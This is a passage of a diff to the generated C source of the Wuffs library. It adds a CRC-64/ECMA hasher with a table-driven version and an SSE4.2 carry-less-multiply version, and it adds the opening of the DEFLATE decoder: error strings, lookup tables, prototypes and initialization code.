crc64.ecma_hasher.update_u64 + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_gif__decoder__num_decoded_frame_configs( +- const wuffs_gif__decoder* self) { ++wuffs_crc64__ecma_hasher__update_u64( ++ wuffs_crc64__ecma_hasher* self, ++ wuffs_base__slice_u8 a_x) { + if (!self) { + return 0; + } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { + return 0; + } + +- return self->private_impl.f_num_decoded_frame_configs_value; ++ wuffs_crc64__ecma_hasher__update(self, a_x); ++ return wuffs_crc64__ecma_hasher__checksum_u64(self); + } + +-// -------- func gif.decoder.num_decoded_frames ++// -------- func crc64.ecma_hasher.up ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_crc64__ecma_hasher__up( ++ wuffs_crc64__ecma_hasher* self, ++ wuffs_base__slice_u8 a_x) { ++ return (*self->private_impl.choosy_up)(self, a_x); ++} ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_crc64__ecma_hasher__up__choosy_default( ++ wuffs_crc64__ecma_hasher* self, ++ wuffs_base__slice_u8 a_x) { ++ uint64_t v_s = 0; ++ wuffs_base__slice_u8 v_p = {0}; ++ ++ v_s = (18446744073709551615u ^ self->private_impl.f_state); ++ { ++ wuffs_base__slice_u8 i_slice_p = a_x; ++ v_p.ptr = i_slice_p.ptr; ++ v_p.len = 8; ++ const uint8_t* i_end0_p = wuffs_private_impl__ptr_u8_plus_len(v_p.ptr, (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 8) * 8)); ++ while (v_p.ptr < i_end0_p) { ++ v_s ^= ((((uint64_t)(v_p.ptr[0u])) << 0u) | ++ (((uint64_t)(v_p.ptr[1u])) << 8u) | ++ (((uint64_t)(v_p.ptr[2u])) << 16u) | ++ (((uint64_t)(v_p.ptr[3u])) << 24u) | ++ (((uint64_t)(v_p.ptr[4u])) << 32u) | ++ (((uint64_t)(v_p.ptr[5u])) << 40u) | ++ (((uint64_t)(v_p.ptr[6u])) << 48u) | ++ (((uint64_t)(v_p.ptr[7u])) << 56u)); ++ v_s = (WUFFS_CRC64__ECMA_TABLE[0u][(255u & (v_s >> 56u))] ^ ++ WUFFS_CRC64__ECMA_TABLE[1u][(255u & (v_s >> 48u))] ^ ++ WUFFS_CRC64__ECMA_TABLE[2u][(255u & (v_s >> 40u))] ^ ++ WUFFS_CRC64__ECMA_TABLE[3u][(255u & (v_s >> 32u))] ^ ++ WUFFS_CRC64__ECMA_TABLE[4u][(255u & (v_s >> 24u))] ^ ++ WUFFS_CRC64__ECMA_TABLE[5u][(255u & (v_s >> 16u))] ^ ++ WUFFS_CRC64__ECMA_TABLE[6u][(255u & (v_s >> 8u))] ^ ++ WUFFS_CRC64__ECMA_TABLE[7u][(255u & (v_s >> 0u))]); ++ v_p.ptr += 8; ++ } ++ v_p.len = 1; ++ const uint8_t* i_end1_p = wuffs_private_impl__ptr_u8_plus_len(i_slice_p.ptr, i_slice_p.len); ++ while (v_p.ptr < i_end1_p) { ++ v_s = (WUFFS_CRC64__ECMA_TABLE[0u][((uint8_t)(((uint8_t)(v_s)) ^ v_p.ptr[0u]))] ^ (v_s >> 8u)); ++ v_p.ptr += 1; ++ } ++ v_p.len = 0; ++ } ++ self->private_impl.f_state = (18446744073709551615u ^ v_s); ++ return wuffs_base__make_empty_struct(); ++} ++ ++// -------- func crc64.ecma_hasher.checksum_u64 + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_gif__decoder__num_decoded_frames( +- const wuffs_gif__decoder* self) { ++wuffs_crc64__ecma_hasher__checksum_u64( ++ const wuffs_crc64__ecma_hasher* self) { + if (!self) { + return 0; + } +@@ -37176,72 +38101,473 @@ wuffs_gif__decoder__num_decoded_frames( + return 0; + } + +- return self->private_impl.f_num_decoded_frames_value; ++ return self->private_impl.f_state; + } + +-// -------- func gif.decoder.frame_dirty_rect ++// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 ++// -------- func crc64.ecma_hasher.up_x86_sse42 + ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__rect_ie_u32 +-wuffs_gif__decoder__frame_dirty_rect( +- const wuffs_gif__decoder* self) { ++static wuffs_base__empty_struct ++wuffs_crc64__ecma_hasher__up_x86_sse42( ++ wuffs_crc64__ecma_hasher* self, ++ wuffs_base__slice_u8 a_x) { ++ uint64_t v_s = 0; ++ wuffs_base__slice_u8 v_p = {0}; ++ uint8_t v_buf[48] = {0}; ++ __m128i v_xa = {0}; ++ __m128i v_xb = {0}; ++ __m128i v_xc = {0}; ++ __m128i v_xd = {0}; ++ __m128i v_xe = {0}; ++ __m128i v_xf = {0}; ++ __m128i v_xg = {0}; ++ __m128i v_xh = {0}; ++ __m128i v_mu1 = {0}; ++ __m128i v_mu2 = {0}; ++ __m128i v_mu4 = {0}; ++ __m128i v_mu8 = {0}; ++ __m128i v_mupx = {0}; ++ ++ v_s = (18446744073709551615u ^ self->private_impl.f_state); ++ while ((((uint64_t)(a_x.len)) > 0u) && ((15u & ((uint32_t)(0xFFFu & (uintptr_t)(a_x.ptr)))) != 0u)) { ++ v_s = (WUFFS_CRC64__ECMA_TABLE[0u][((uint8_t)(((uint8_t)(v_s)) ^ a_x.ptr[0u]))] ^ (v_s >> 8u)); ++ a_x = wuffs_base__slice_u8__subslice_i(a_x, 1u); ++ } ++ do { ++ do { ++ if (((uint64_t)(a_x.len)) >= 128u) { ++ } else if (((uint64_t)(a_x.len)) >= 64u) { ++ v_xa = _mm_xor_si128(_mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 0u)), _mm_cvtsi64_si128((int64_t)(v_s))); ++ v_xb = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 16u)); ++ v_xc = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 32u)); ++ v_xd = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 48u)); ++ a_x = wuffs_base__slice_u8__subslice_i(a_x, 64u); ++ break; ++ } else if (((uint64_t)(a_x.len)) >= 32u) { ++ v_xa = _mm_xor_si128(_mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 0u)), _mm_cvtsi64_si128((int64_t)(v_s))); ++ v_xb = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 16u)); ++ a_x = wuffs_base__slice_u8__subslice_i(a_x, 32u); ++ goto label__chain2__break; ++ } else { ++ { ++ wuffs_base__slice_u8 i_slice_p = a_x; ++ v_p.ptr = i_slice_p.ptr; ++ v_p.len = 1; ++ const uint8_t* i_end0_p = wuffs_private_impl__ptr_u8_plus_len(i_slice_p.ptr, i_slice_p.len); ++ while (v_p.ptr < i_end0_p) { ++ v_s = (WUFFS_CRC64__ECMA_TABLE[0u][((uint8_t)(((uint8_t)(v_s)) ^ v_p.ptr[0u]))] ^ (v_s >> 8u)); ++ v_p.ptr += 1; ++ } ++ v_p.len = 0; ++ } ++ self->private_impl.f_state = (18446744073709551615u ^ v_s); ++ return wuffs_base__make_empty_struct(); ++ } ++ v_xa = _mm_xor_si128(_mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 0u)), _mm_cvtsi64_si128((int64_t)(v_s))); ++ v_xb = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 16u)); ++ v_xc = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 32u)); ++ v_xd = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 48u)); ++ v_xe = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 64u)); ++ v_xf = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 80u)); ++ v_xg = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 96u)); ++ v_xh = _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 112u)); ++ a_x = wuffs_base__slice_u8__subslice_i(a_x, 128u); ++ v_mu8 = _mm_lddqu_si128((const __m128i*)(const void*)(WUFFS_CRC64__ECMA_X86_SSE42_FOLD8)); ++ while (((uint64_t)(a_x.len)) >= 128u) { ++ v_xa = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xa, v_mu8, (int32_t)(0u)), _mm_clmulepi64_si128(v_xa, v_mu8, (int32_t)(17u))), _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 0u))); ++ v_xb = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xb, v_mu8, (int32_t)(0u)), _mm_clmulepi64_si128(v_xb, v_mu8, (int32_t)(17u))), _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 16u))); ++ v_xc = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xc, v_mu8, (int32_t)(0u)), _mm_clmulepi64_si128(v_xc, v_mu8, (int32_t)(17u))), _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 32u))); ++ v_xd = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xd, v_mu8, (int32_t)(0u)), _mm_clmulepi64_si128(v_xd, v_mu8, (int32_t)(17u))), _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 48u))); ++ v_xe = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xe, v_mu8, (int32_t)(0u)), _mm_clmulepi64_si128(v_xe, v_mu8, (int32_t)(17u))), _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 64u))); ++ v_xf = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xf, v_mu8, (int32_t)(0u)), _mm_clmulepi64_si128(v_xf, v_mu8, (int32_t)(17u))), _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 80u))); ++ v_xg = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xg, v_mu8, (int32_t)(0u)), _mm_clmulepi64_si128(v_xg, v_mu8, (int32_t)(17u))), _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 96u))); ++ v_xh = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xh, v_mu8, (int32_t)(0u)), _mm_clmulepi64_si128(v_xh, v_mu8, (int32_t)(17u))), _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 112u))); ++ a_x = wuffs_base__slice_u8__subslice_i(a_x, 128u); ++ } ++ v_mu4 = _mm_lddqu_si128((const __m128i*)(const void*)(WUFFS_CRC64__ECMA_X86_SSE42_FOLD4)); ++ v_xa = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xa, v_mu4, (int32_t)(0u)), _mm_clmulepi64_si128(v_xa, v_mu4, (int32_t)(17u))), v_xe); ++ v_xb = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xb, v_mu4, (int32_t)(0u)), _mm_clmulepi64_si128(v_xb, v_mu4, (int32_t)(17u))), v_xf); ++ v_xc = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xc, v_mu4, (int32_t)(0u)), _mm_clmulepi64_si128(v_xc, v_mu4, (int32_t)(17u))), v_xg); ++ v_xd = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xd, v_mu4, (int32_t)(0u)), _mm_clmulepi64_si128(v_xd, v_mu4, (int32_t)(17u))), v_xh); ++ if (((uint64_t)(a_x.len)) > 64u) { ++ v_xa = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xa, v_mu4, (int32_t)(0u)), _mm_clmulepi64_si128(v_xa, v_mu4, (int32_t)(17u))), _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 0u))); ++ v_xb = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xb, v_mu4, (int32_t)(0u)), _mm_clmulepi64_si128(v_xb, v_mu4, (int32_t)(17u))), _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 16u))); ++ v_xc = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xc, v_mu4, (int32_t)(0u)), _mm_clmulepi64_si128(v_xc, v_mu4, (int32_t)(17u))), _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 32u))); ++ v_xd = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xd, v_mu4, (int32_t)(0u)), _mm_clmulepi64_si128(v_xd, v_mu4, (int32_t)(17u))), _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 48u))); ++ a_x = wuffs_base__slice_u8__subslice_i(a_x, 64u); ++ } ++ } while (0); ++ v_mu2 = _mm_lddqu_si128((const __m128i*)(const void*)(WUFFS_CRC64__ECMA_X86_SSE42_FOLD2)); ++ v_xa = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xa, v_mu2, (int32_t)(0u)), _mm_clmulepi64_si128(v_xa, v_mu2, (int32_t)(17u))), v_xc); ++ v_xb = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xb, v_mu2, (int32_t)(0u)), _mm_clmulepi64_si128(v_xb, v_mu2, (int32_t)(17u))), v_xd); ++ if (((uint64_t)(a_x.len)) > 32u) { ++ v_xa = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xa, v_mu2, (int32_t)(0u)), _mm_clmulepi64_si128(v_xa, v_mu2, (int32_t)(17u))), _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 0u))); ++ v_xb = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xb, v_mu2, (int32_t)(0u)), _mm_clmulepi64_si128(v_xb, v_mu2, (int32_t)(17u))), _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 16u))); ++ a_x = wuffs_base__slice_u8__subslice_i(a_x, 32u); ++ } ++ } while (0); ++ label__chain2__break:; ++ v_mu1 = _mm_lddqu_si128((const __m128i*)(const void*)(WUFFS_CRC64__ECMA_X86_SSE42_FOLD1)); ++ v_xa = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xa, v_mu1, (int32_t)(0u)), _mm_clmulepi64_si128(v_xa, v_mu1, (int32_t)(17u))), v_xb); ++ if (((uint64_t)(a_x.len)) > 24u) { ++ v_xa = _mm_xor_si128(_mm_xor_si128(_mm_clmulepi64_si128(v_xa, v_mu1, (int32_t)(0u)), _mm_clmulepi64_si128(v_xa, v_mu1, (int32_t)(17u))), _mm_lddqu_si128((const __m128i*)(const void*)(a_x.ptr + 0u))); ++ a_x = wuffs_base__slice_u8__subslice_i(a_x, 16u); ++ if (((uint64_t)(a_x.len)) > 24u) { ++ return wuffs_base__make_empty_struct(); ++ } ++ } ++ _mm_storeu_si128((__m128i*)(void*)(v_buf + (24u - ((uint64_t)(a_x.len)))), v_xa); ++ wuffs_private_impl__slice_u8__copy_from_slice(wuffs_base__make_slice_u8_ij(v_buf, ((24u - ((uint64_t)(a_x.len))) + 16u), 48), a_x); ++ v_mu2 = _mm_lddqu_si128((const __m128i*)(const void*)(WUFFS_CRC64__ECMA_X86_SSE42_FOLD2)); ++ v_xa = _mm_lddqu_si128((const __m128i*)(const void*)(v_buf + 0u)); ++ v_xb = _mm_lddqu_si128((const __m128i*)(const void*)(v_buf + 16u)); ++ v_xc = _mm_lddqu_si128((const __m128i*)(const void*)(v_buf + 32u)); ++ v_xd = _mm_xor_si128(_mm_clmulepi64_si128(v_xa, v_mu2, (int32_t)(0u)), _mm_clmulepi64_si128(v_xa, v_mu2, (int32_t)(17u))); ++ v_xe = _mm_xor_si128(_mm_clmulepi64_si128(v_xb, v_mu1, (int32_t)(0u)), _mm_clmulepi64_si128(v_xb, v_mu1, (int32_t)(17u))); ++ v_xa = _mm_xor_si128(v_xd, _mm_xor_si128(v_xe, v_xc)); ++ v_mupx = _mm_lddqu_si128((const __m128i*)(const void*)(WUFFS_CRC64__ECMA_X86_SSE42_MUPX)); ++ v_xb = _mm_clmulepi64_si128(v_xa, v_mupx, (int32_t)(0u)); ++ v_xc = _mm_clmulepi64_si128(v_xb, v_mupx, (int32_t)(16u)); ++ v_s = ((uint64_t)(_mm_extract_epi64(_mm_xor_si128(_mm_xor_si128(v_xc, _mm_slli_si128(v_xb, (int32_t)(8u))), v_xa), (int32_t)(1u)))); ++ self->private_impl.f_state = (18446744073709551615u ^ v_s); ++ return wuffs_base__make_empty_struct(); ++} ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 ++ ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__CRC64) ++ ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__DEFLATE) ++ ++// ---------------- Status Codes Implementations ++ ++const char wuffs_deflate__error__bad_huffman_code_over_subscribed[] = "#deflate: bad Huffman code (over-subscribed)"; ++const char wuffs_deflate__error__bad_huffman_code_under_subscribed[] = "#deflate: bad Huffman code (under-subscribed)"; ++const char wuffs_deflate__error__bad_huffman_code_length_count[] = "#deflate: bad Huffman code length count"; ++const char wuffs_deflate__error__bad_huffman_code_length_repetition[] = "#deflate: bad Huffman code length repetition"; ++const char wuffs_deflate__error__bad_huffman_code[] = "#deflate: bad Huffman code"; ++const char wuffs_deflate__error__bad_huffman_minimum_code_length[] = "#deflate: bad Huffman minimum code length"; ++const char wuffs_deflate__error__bad_block[] = "#deflate: bad block"; ++const char wuffs_deflate__error__bad_distance[] = "#deflate: bad distance"; ++const char wuffs_deflate__error__bad_distance_code_count[] = "#deflate: bad distance code count"; ++const char wuffs_deflate__error__bad_literal_length_code_count[] = "#deflate: bad literal/length code count"; ++const char wuffs_deflate__error__inconsistent_stored_block_length[] = "#deflate: inconsistent stored block length"; ++const char wuffs_deflate__error__missing_end_of_block_code[] = "#deflate: missing end-of-block code"; ++const char wuffs_deflate__error__no_huffman_codes[] = "#deflate: no Huffman codes"; ++const char wuffs_deflate__error__truncated_input[] = "#deflate: truncated input"; ++const char wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state[] = "#deflate: internal error: inconsistent Huffman decoder state"; ++const char wuffs_deflate__error__internal_error_inconsistent_i_o[] = "#deflate: internal error: inconsistent I/O"; ++const char wuffs_deflate__error__internal_error_inconsistent_distance[] = "#deflate: internal error: inconsistent distance"; ++const char wuffs_deflate__error__internal_error_inconsistent_n_bits[] = "#deflate: internal error: inconsistent n_bits"; ++ ++// ---------------- Private Consts ++ ++static const uint8_t ++WUFFS_DEFLATE__CODE_ORDER[19] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 16u, 17u, 18u, 0u, 8u, 7u, 9u, 6u, ++ 10u, 5u, 11u, 4u, 12u, 3u, 13u, 2u, ++ 14u, 1u, 15u, ++}; ++ ++static const uint8_t ++WUFFS_DEFLATE__REVERSE8[256] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 0u, 128u, 64u, 192u, 32u, 160u, 96u, 224u, ++ 16u, 144u, 80u, 208u, 48u, 176u, 112u, 240u, ++ 8u, 136u, 72u, 200u, 40u, 168u, 104u, 232u, ++ 24u, 152u, 88u, 216u, 56u, 184u, 120u, 248u, ++ 4u, 132u, 68u, 196u, 36u, 164u, 100u, 228u, ++ 20u, 148u, 84u, 212u, 52u, 180u, 116u, 244u, ++ 12u, 140u, 76u, 204u, 44u, 172u, 108u, 236u, ++ 28u, 156u, 92u, 220u, 60u, 188u, 124u, 252u, ++ 2u, 130u, 66u, 194u, 34u, 162u, 98u, 226u, ++ 18u, 146u, 82u, 210u, 50u, 178u, 114u, 242u, ++ 10u, 138u, 74u, 202u, 42u, 170u, 106u, 234u, ++ 26u, 154u, 90u, 218u, 58u, 186u, 122u, 250u, ++ 6u, 134u, 70u, 198u, 38u, 166u, 102u, 230u, ++ 22u, 150u, 86u, 214u, 54u, 182u, 118u, 246u, ++ 14u, 142u, 78u, 206u, 46u, 174u, 110u, 238u, ++ 30u, 158u, 94u, 222u, 62u, 190u, 126u, 254u, ++ 1u, 129u, 65u, 193u, 33u, 161u, 97u, 225u, ++ 17u, 145u, 81u, 209u, 49u, 177u, 113u, 241u, ++ 9u, 137u, 73u, 201u, 41u, 169u, 105u, 233u, ++ 25u, 153u, 89u, 217u, 57u, 185u, 121u, 249u, ++ 5u, 133u, 69u, 197u, 37u, 165u, 101u, 229u, ++ 21u, 149u, 85u, 213u, 53u, 181u, 117u, 245u, ++ 13u, 141u, 77u, 205u, 45u, 173u, 109u, 237u, ++ 29u, 157u, 93u, 221u, 61u, 189u, 125u, 253u, ++ 3u, 131u, 67u, 195u, 35u, 163u, 99u, 227u, ++ 19u, 147u, 83u, 211u, 51u, 179u, 115u, 243u, ++ 11u, 139u, 75u, 203u, 43u, 171u, 107u, 235u, ++ 27u, 155u, 91u, 219u, 59u, 187u, 123u, 251u, ++ 7u, 135u, 71u, 199u, 39u, 167u, 103u, 231u, ++ 23u, 151u, 87u, 215u, 55u, 183u, 119u, 247u, ++ 15u, 143u, 79u, 207u, 47u, 175u, 111u, 239u, ++ 31u, 159u, 95u, 223u, 63u, 191u, 127u, 255u, ++}; ++ ++static const uint32_t ++WUFFS_DEFLATE__LCODE_MAGIC_NUMBERS[32] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 1073741824u, 1073742080u, 1073742336u, 1073742592u, 1073742848u, 1073743104u, 1073743360u, 1073743616u, ++ 1073743888u, 1073744400u, 1073744912u, 1073745424u, 1073745952u, 1073746976u, 1073748000u, 1073749024u, ++ 1073750064u, 1073752112u, 1073754160u, 1073756208u, 1073758272u, 1073762368u, 1073766464u, 1073770560u, ++ 1073774672u, 1073782864u, 1073791056u, 1073799248u, 1073807104u, 134217728u, 134217728u, 134217728u, ++}; ++ ++static const uint32_t ++WUFFS_DEFLATE__DCODE_MAGIC_NUMBERS[32] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 1073741824u, 1073742080u, 1073742336u, 1073742592u, 1073742864u, 1073743376u, 1073743904u, 1073744928u, ++ 1073745968u, 1073748016u, 1073750080u, 1073754176u, 1073758288u, 1073766480u, 1073774688u, 1073791072u, ++ 1073807472u, 1073840240u, 1073873024u, 1073938560u, 1074004112u, 1074135184u, 1074266272u, 1074528416u, ++ 1074790576u, 1075314864u, 1075839168u, 1076887744u, 1077936336u, 1080033488u, 134217728u, 134217728u, ++}; ++ ++#define WUFFS_DEFLATE__HUFFS_TABLE_SIZE 1024u ++ ++#define WUFFS_DEFLATE__HUFFS_TABLE_MASK 1023u ++ ++// ---------------- Private Initializer Prototypes ++ ++// ---------------- Private Function Prototypes ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_deflate__decoder__do_transform_io( ++ wuffs_deflate__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__slice_u8 a_workbuf); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_deflate__decoder__decode_blocks( ++ wuffs_deflate__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_deflate__decoder__decode_uncompressed( ++ wuffs_deflate__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_deflate__decoder__init_fixed_huffman( ++ wuffs_deflate__decoder* self); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_deflate__decoder__init_dynamic_huffman( ++ wuffs_deflate__decoder* self, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_deflate__decoder__init_huff( ++ wuffs_deflate__decoder* self, ++ uint32_t a_which, ++ uint32_t a_n_codes0, ++ uint32_t a_n_codes1, ++ uint32_t a_base_symbol); ++ ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3) ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_deflate__decoder__decode_huffman_bmi2( ++ wuffs_deflate__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src); ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3) ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_deflate__decoder__decode_huffman_fast32( ++ wuffs_deflate__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_deflate__decoder__decode_huffman_fast64( ++ wuffs_deflate__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_deflate__decoder__decode_huffman_fast64__choosy_default( ++ wuffs_deflate__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_deflate__decoder__decode_huffman_slow( ++ wuffs_deflate__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++// ---------------- VTables ++ ++const wuffs_base__io_transformer__func_ptrs ++wuffs_deflate__decoder__func_ptrs_for__wuffs_base__io_transformer = { ++ (wuffs_base__optional_u63(*)(const void*))(&wuffs_deflate__decoder__dst_history_retain_length), ++ (uint64_t(*)(const void*, ++ uint32_t))(&wuffs_deflate__decoder__get_quirk), ++ (wuffs_base__status(*)(void*, ++ uint32_t, ++ uint64_t))(&wuffs_deflate__decoder__set_quirk), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__io_buffer*, ++ wuffs_base__io_buffer*, ++ wuffs_base__slice_u8))(&wuffs_deflate__decoder__transform_io), ++ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_deflate__decoder__workbuf_len), ++}; ++ ++// ---------------- Initializer Implementations ++ ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_deflate__decoder__initialize( ++ wuffs_deflate__decoder* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options){ + if (!self) { +- return wuffs_base__utility__empty_rect_ie_u32(); ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); + } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return wuffs_base__utility__empty_rect_ie_u32(); ++ if (sizeof(*self) != sizeof_star_self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); ++ } ++ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || ++ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); + } + +- return wuffs_base__utility__make_rect_ie_u32( +- wuffs_base__u32__min(self->private_impl.f_frame_rect_x0, self->private_impl.f_width), +- wuffs_base__u32__min(self->private_impl.f_frame_rect_y0, self->private_impl.f_height), +- wuffs_base__u32__min(self->private_impl.f_frame_rect_x1, self->private_impl.f_width), +- wuffs_base__u32__min(self->private_impl.f_dirty_max_excl_y, self->private_impl.f_height)); ++ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { ++ // The whole point of this if-check is to detect an uninitialized *self. ++ // We disable the warning on GCC. Clang-5.0 does not have this warning. ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" ++#endif ++ if (self->private_impl.magic != 0) { ++ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); ++ } ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else { ++ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { ++ memset(self, 0, sizeof(*self)); ++ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; ++ } else { ++ memset(&(self->private_impl), 0, sizeof(self->private_impl)); ++ } ++ } ++ ++ self->private_impl.choosy_decode_huffman_fast64 = &wuffs_deflate__decoder__decode_huffman_fast64__choosy_default; ++ ++ self->private_impl.magic = WUFFS_BASE__MAGIC; ++ self->private_impl.vtable_for__wuffs_base__io_transformer.vtable_name = ++ wuffs_base__io_transformer__vtable_name; ++ self->private_impl.vtable_for__wuffs_base__io_transformer.function_pointers = ++ (const void*)(&wuffs_deflate__decoder__func_ptrs_for__wuffs_base__io_transformer); ++ return wuffs_base__make_status(NULL); ++} ++ ++wuffs_deflate__decoder* ++wuffs_deflate__decoder__alloc(void) { ++ wuffs_deflate__decoder* x = ++ (wuffs_deflate__decoder*)(calloc(1, sizeof(wuffs_deflate__decoder))); ++ if (!x) { ++ return NULL; ++ } ++ if (wuffs_deflate__decoder__initialize( ++ x, sizeof(wuffs_deflate__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { ++ free(x); ++ return NULL; 